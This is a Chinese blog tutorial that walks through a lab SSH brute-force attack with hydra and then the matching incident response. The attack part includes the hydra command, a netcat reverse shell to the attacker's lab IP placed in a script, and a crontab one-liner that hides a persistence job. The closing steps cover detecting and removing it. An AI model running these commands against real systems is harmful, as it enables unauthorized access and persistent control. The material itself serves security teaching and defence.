首页 > 其他分享 >使用hydra爆破SSH

使用hydra爆破SSH

时间:2023-06-02 20:55:47浏览次数:42  
标签:协议 爆破 端口 hydra sh SSH 使用 服务

SSH爆破

目录

一、SSH是什么

SSH(Secure Shell,安全外壳)是一种网络安全协议,通过加密和认证机制实现安全的访问和文件传输等业务。传统远程登录或文件传输方式,例如Telnet、FTP,使用明文传输数据,存在很多的安全隐患。随着人们对网络安全的重视,这些方式已经慢慢不被接受。SSH协议通过对网络数据进行加密和验证,在不安全的网络环境中提供了安全的登录和其他安全网络服务。作为Telnet和其他不安全远程shell协议的安全替代方案,目前SSH协议已经被全世界广泛使用,大多数设备都支持SSH功能。

二、使用SSH的工具

1、Xshell

xshell 是一个非常强大的安全终端模拟软件,它支持 SSH1, SSH2, 以及 Windows 平台的 TELNET 协议。Xshell 可以在 Windows 界面下用来访问远端不同系统下的服务器,从而比较好的达到远程控制终端的目的。

官网: https://www.netsarang.com/zh/xshell/

2、secureCRT

SecureCRT 支持 SSH,同时支持 Telnet 和 rlogin 协议。SecureCRT 是一款用于连接运行包括 Windows、UNIX 和 VMS 的理想工具。通过使用内含的 VCP 命令行程序可以进行加密文件的传输,网工应该很熟这个软件,经常使用它连接设备。

官网: https://www.vandyke.com

3、 WinSCP

WinSCP 是一个 Windows 环境下使用 SSH 的开源图形化 SFTP 工具客户端。同时支持 SCP 协议。它的主要功能就是在本地与远程计算机间安全的复制传输文件。

官网: https://winscp.net/

4、 PuTTY

PuTTY 是 SSH 和 telnet 客户端,最初由 Simon Tatham 为 Windows 平台开发。用 MIT 许可证授权。包含的组件有:PuTTY, PuTTYgen,PSFTP, PuTTYtel, Plink, PSCP, Pageant, 默认登录协议是 SSH,默认的端口为 22。Putty 主要是用来远程连接服务器,它支持 SSH、Telnet、Serial 等协议的连接。

官网: https://putty.org/

5、 MobaXterm

mobaxterm 的功能非常全面,几乎提供了所有重要的远程网络工具(比如 SSH、X11、RDP、VNC、FTP、MOSH 等),以及 Windows 桌面上的 Unix 命令(bash、ls、cat、sed、grep、awk、rsync 等),登录之后默认开启 sftp 模式。

官网: https://mobaxterm.mobatek.net/

6、 FinalShell

FinalShell 是一体化的服务器网络管理软件 (java 语言编写),不仅是 ssh 客户端,FinalShell 还是功能强大的开发、运维工具,充分满足用户的开发运维需求。

官网:http://www.hostbuf.com/

三、常见的端口对应服务

端口号 服务
21 21端口主要用于FTP(File Transfer Protocol,文件传输协议)服务。
22 ssh 服务,传统的网络服务程序,SSH的英文全称是Secure SHell。通过使用SSH,你可以把所有传输的数据进行加密,这样“中间人”这种攻击方式就不可能实现了,而且也能够防止DNS和IP欺骗。还有一个额外的好处就是传输的数据是经过压缩的,所以可以加快传输的速度。SSH有很多功能,它既可以代替telnet,又可以为ftp、pop、甚至ppp提供一个安全的“通道”。
23 23端口主要用于Telnet(远程登录)服务,是Internet上普遍采用的登录和仿真程序。
25 25端口为SMTP(Simple Mail Transfer Protocol,简单邮件传输协议)服务器所开放,主要用于发送邮件,如今绝大多数邮件服务器都使用该协议。
53 53端口为DNS(Domain Name Server,域名服务器)服务器所开放,主要用于域名解析,DNS服务在NT系统中使用的最为广泛。
67、68 67、68端口分别是为Bootp服务的Bootstrap Protocol Server(引导程序协议服务端)和Bootstrap Protocol Client(引导程序协议客户端)开放的端口。
69 TFTP服务,TFTP是Cisco公司开发的一个简单文件传输协议,类似于FTP。
79 79端口是为Finger服务开放的,主要用于查询远程主机在线用户、操作系统类型以及是否缓冲区溢出等用户的详细信息。
80 80端口是为HTTP(HyperText Transport Protocol,超文本传输协议)开放的,这是上网冲浪使用最多的协议,主要用于在WWW(World Wide Web,万维网)服务上传输信息的协议。
99 99端口是用于一个名为“Metagram Relay”(亚对策延时)的服务,该服务比较少见,一般是用不到的。
109、110 109端口是为POP2(Post Office Protocol Version 2,邮局协议2)服务开放的,110端口是为POP3(邮件协议3)服务开放的,POP2、POP3都是主要用于接收邮件的,目前POP3使用的比较多,许多服务器都同时支持POP2和POP3。客户端可以使用POP3协议来访问服务端的邮件服务,如今ISP的绝大多数邮件服务器都是使用该协议。在使用电子邮件客户端程序的时候,会要求输入POP3服务器地址,默认情况下使用的就是110端口。
111 111端口是SUN公司的RPC(Remote Procedure Call,远程过程调用)服务所开放的端口,主要用于分布式系统中不同计算机的内部进程通信,RPC在多种网络服务中都是很重要的组件。
113 113端口主要用于Windows的“Authentication Service”(验证服务)。
119 119端口是为“Network News Transfer Protocol”(网络新闻组传输协议,简称NNTP)开放的。
135 135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代码;使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输。
137 137端口主要用于“NetBIOS Name Service”(NetBIOS名称服务),属于UDP端口,使用者只需要向局域网或互联网上的某台计算机的137端口发送一个请求,就可以获取该计算机的名称、注册用户名,以及是否安装主域控制器、IIS是否正在运行等信息。
139 139端口是为“NetBIOS Session Service”提供的,主要用于提供Windows文件和打印机共享以及Unix中的Samba服务。在Windows中要在局域网中进行文件的共享,必须使用该服务。
143 143端口主要是用于“Internet Message Access Protocol”v2(Internet消息访问协议,简称IMAP)。
161 161端口是用于“Simple Network Management Protocol”(简单网络管理协议,简称SNMP)。
443 443端口即网页浏览端口,主要是用于HTTPS服务,是提供加密和通过安全端口传输的另一种HTTP。
554 554端口默认情况下用于“Real Time Streaming Protocol”(实时流协议,简称RTSP)。
1024 1024端口一般不固定分配给某个服务,在英文中的解释是“Reserved”(保留)。
1080 1080端口是Socks代理服务使用的端口,大家平时上网使用的WWW服务使用的是HTTP协议的代理服务。
1755 1755端口默认情况下用于“Microsoft Media Server”(微软媒体服务器,简称MMS)。
4000 4000端口是用于大家经常使用的QQ聊天工具的,再细说就是为QQ客户端开放的端口,QQ服务端使用的端口是8000。
5554 在今年4月30日就报道出现了一种针对微软lsass服务的新蠕虫病毒——震荡波(Worm.Sasser),该病毒可以利用TCP 5554端口开启一个FTP服务,主要被用于病毒的传播。
5632 5632端口是被大家所熟悉的远程控制软件pcAnywhere所开启的端口。
8080 8080端口同80端口,是被用于WWW代理服务的,可以实现网页

四、模拟SSH爆破攻击

攻击机IP:192.168.130.131(root)

靶机IP:192.168.130.133(luo)

以下是攻击步骤:

攻击机IP:192.168.130.132(root)

靶机IP:192.168.130.133(kali)

1、信息收集

使用NMap扫描靶机主机端口,nmap 192.168.130.131,发现开启了22号端口,可以尝试爆破

2、爆破SSH

使用hydra进行爆破:hydra -L users.txt -P password.txt ssh://192.168.130.133

或者使用其他工具爆破,如:msf、美杜莎

Hydra也叫九头蛇,是一款开源的暴力PJ工具,集成在kali当中。

hydra的相关用法如下:

  • -l 指定用户名
  • -p 指定密码
  • -L 指定用户字典
  • -P 指定密码字典
  • -e
  • n null,表示尝试空密码
  • s same,把用户名本身当做密码进行尝试
  • r反向,把用户名倒叙,当做密码进行尝试
  • -vV 显示执行细节
  • -o 保存执行结果
  • -s 指定非默认端口
  • -C 指定所有格式为“user:password”的字典文件
  • -M 指定破解的目标文件,如果不是默认端口,后面跟上“:port”

3、SSH登录

在爆破出用户名和密码后,使用SSH远程登录靶机,使用命令

ssh luo @ 192.168.130.133

​ 用户名 登录在

4、尝试创建隐藏计划任务

vim编辑器:文件存在会对文件进行编辑,文件不存在会创建文件

进入/tmp目录,使用vim命令创建task.sh文件,文件内容为:

!/bin/bash

nc 192.168.130.131 7777 -e /bin/bash

命令的意思是:使用bin.bash里面的shell,用nc命令反弹shell,反弹到攻击机的7777端口,-e代表需要执行的指令,这里是要执行/bin/bash。

输入ls -l tash.sh命令,查看文件可执行权限。发现文件权限为:-rw-r--r-- ,可读可写,但是没有可执行权限,因此需要添加命令chmod +x tash.sh

创建create_tash.sh文件,向里面写入如下内容:

(crontab -l;printf "* * * * * /tmp/task.sh;\rno crontw-wab for'whoami'%100c\n")|crontab -

命令的意思是:-l 查看计划任务。输出* * * * *,每隔一分钟执行tmp下面的tash.sh文件。\r是换行符。其余后面的参数都是计划任务。

另外,此处也需要添加执行权限,使用命令chmod +x create_task.sh

5、尝试nc连接目标主机的shell

重新打开一个终端,输入nc -lvp 7777命令后,等待了很久,发现没有反应,后来发现是没有开启计划任务,于是我们进入上一个终端输入./create_tash.sh命令启动任务计划。最后连接上了靶机。

思考:为什么以及获取到用户名和密码还要创建任务计划反弹shell呢?

为了权限维持,当靶机修改密码或关机后,使用用户名和密码我们会连接不上,而计划任务则可以保持连接

五、SSH爆破的应急响应

换了一台虚拟机,因此IP与上面的不一样,大致看下内容就好了哈。

假如我们发现自己被攻击了,那么应该如何查看,并处理呢?

1、查看是否被攻击

输入netstat -antpl查看进程的状态,发现有一个外来的IP通过bash连接到我的主机。

输入pstree -p查看进程树。发现有一个PTD为2300的计划任务,我们自己没有创建这个任务,因此可能是被黑客给利用了。

输入systemctl status 2300查看该进程的状态。发现通过计划任务执行了bash/tmp下面的task.sh文件。

2、查看计划任务

输入crontab -l查看计划任务的具体位置,没有发现,可能是隐藏的计划任务。查看/var/spool/cron/crontabs下的任务。使用cat -A root或者cat -vET root可以看到隐藏内容,或者vim root直接编辑也可以看到具体任务的内容。

查看恶意文件的上传信息以及内容。

查看登录成功的日志(last -f /var/log/wtmp)和登录失败的日志(last -f /var/log/btmp),可发现密码已经被爆破了。

3、处理

删除恶意任务计划crontab -r -u root

杀掉恶意进程(kill 2300[进程PID]),删除恶意文件task.sh、create_task.sh,修改账号密码。关闭root用户的远程连接权限vim etc/ssh/sshd_config修改PremitRootLogin为no,增强权限控制。修改ssh默认端口vim /etc/ssh/sshd_config将22端口修改成其他端口,并将#删掉。

标签:协议,爆破,端口,hydra,sh,SSH,使用,服务
From: https://www.cnblogs.com/-andrea/p/17452886.html

相关文章

  • k8s 使用crio,pod ip无法ssh登录,无法使用ping命令
    使用crio容器运行时,部署sshpod后,[email protected]后,出现connectionresetby127.0.0.1port22.但是telnet显示能通,在pod中ping其他pod出现socket:Operation not permitted,权限问题。通过测试在contianerd与docker没出现这个问题,基本上与crio有关了。......
  • Mac终端SSH工具:SecureCRT for Mac
    欢迎来到SecureCRTforMac,这是一款功能强大的终端模拟器,专为Mac用户设计。无论您是开发人员、系统管理员还是网络工程师,SecureCRT都将成为您必不可少的工具。通过使用SecureCRT,您可以轻松地连接到远程服务器并执行各种操作。它支持SSH、Telnet、SFTP和SCP等多种协议,并提供了强......
  • 使用HHDBCS的SSH通道登陆数据库
    传统远程登录或文件传输方式,例如Telnet、FTP,使用明文传输数据,存在很多的安全隐患。随着人们对网络安全的重视,SSH协议已经越来越被用户所青睐。SSH协议通过对网络数据进行加密和验证,在不安全的网络环境中提供了安全的登录和其他安全网络服务。因此HHDBCS提供了SSH通道的登陆方式......
  • ssh远程redhat6报错:Unable to negotiate with *.*.*.* port 22: no matching host key
    报错:Unabletonegotiatewith*.*.*.*port22:nomatchinghostkeytypefound.Theiroffer:ssh-rsa,ssh-dss分析:openssh觉得ssh-rsa加密方式不安全,直接从8.8开始默认不允许这种密钥用于登陆了 解决:cat/etc/ssh/ssh_config.d/redhat6.confHost*PubkeyAcceptedKe......
  • ssh远端端口转发的一个问题和解决方法
    现在假设有主机local_A,主机remote_B,remote_B可以被外界访问,而local_A不行。这种情况下,我们可以通过ssh的远端端口转发的功能,来实现外界访问local_A的特定端口。在local_A上执行下面的命令为向外界暴露local_A的80端口,ssh-f-N-R8080:localhost:80zwl@remote_B-f表示在......
  • windows cmd使用ssh连接Linux以及文件上传
    CMD连接服务器命令(47.102.144.221为服务器IP)[email protected]文件上传(scp后面参数为本地文件地址,47.102.144.221为服务器IP,冒号后面指将文件上传到服务器哪个目录下)scpD:\[email protected]:/server/tmp如何要从服务器下载文件还是使用scp命令如下:sc......
  • Linux的SSH免密登录配置
    一、SSH概念SSH为SecureShell(安全外壳协议)的缩写,简单说,SSH只是一种网络协议,用于计算机之间的加密登录传输,很多ftp、pop和telnet在本质上都是不安全的,因为它们在网络上用明文传送口令和数据,别有用心的人非常容易就可以截获这些口令和数据。而SSH就是专为远程登录会话和其他网络服务......
  • Linux - 配置服务器之间SSH免密登录
     如果集群中服务器之间没有配置SSH免密,那么SSH访问其他服务器时[root@node01bin]#sshnode02Theauthenticityofhost'node02(192.168.56.122)'can'tbeestablished.ECDSAkeyfingerprintisSHA256:iuntlxKiV34RaCDGi7UsV/Ng2oVwWgob9yX3wL+3zzo.ECDSAkeyfingerp......
  • SSH交互式脚本StrictHostKeyChecking选项 benchmode=yes
    SSH公钥检查是一个重要的安全机制,可以防范中间人劫持等黑客攻击。但是在特定情况下,严格的SSH公钥检查会破坏一些依赖SSH协议的自动化任务,就需要一种手段能够绕过SSH的公钥检查。什么是SSH公钥检查SSH连接远程主机时,会检查主机的公钥。如果是第一次该主机,会显示该主机的公......
  • VirtualBox配置kali 让宿主机可以SSH远程登录虚拟机 vb真难用啊 粘贴板双向死活配置不
    补充:kali里两个虚拟机之间互相访问设置就只需要设置下桥接网络就行!kali里: sudovi/etc/network/interfacesautoeth0ifaceeth0inetdhcp  kali里下载ssh服务包apt-getinstallssh打开ssh服务1servicesshstart打开ssh服务==》开启下!2servicesshstatus查看状......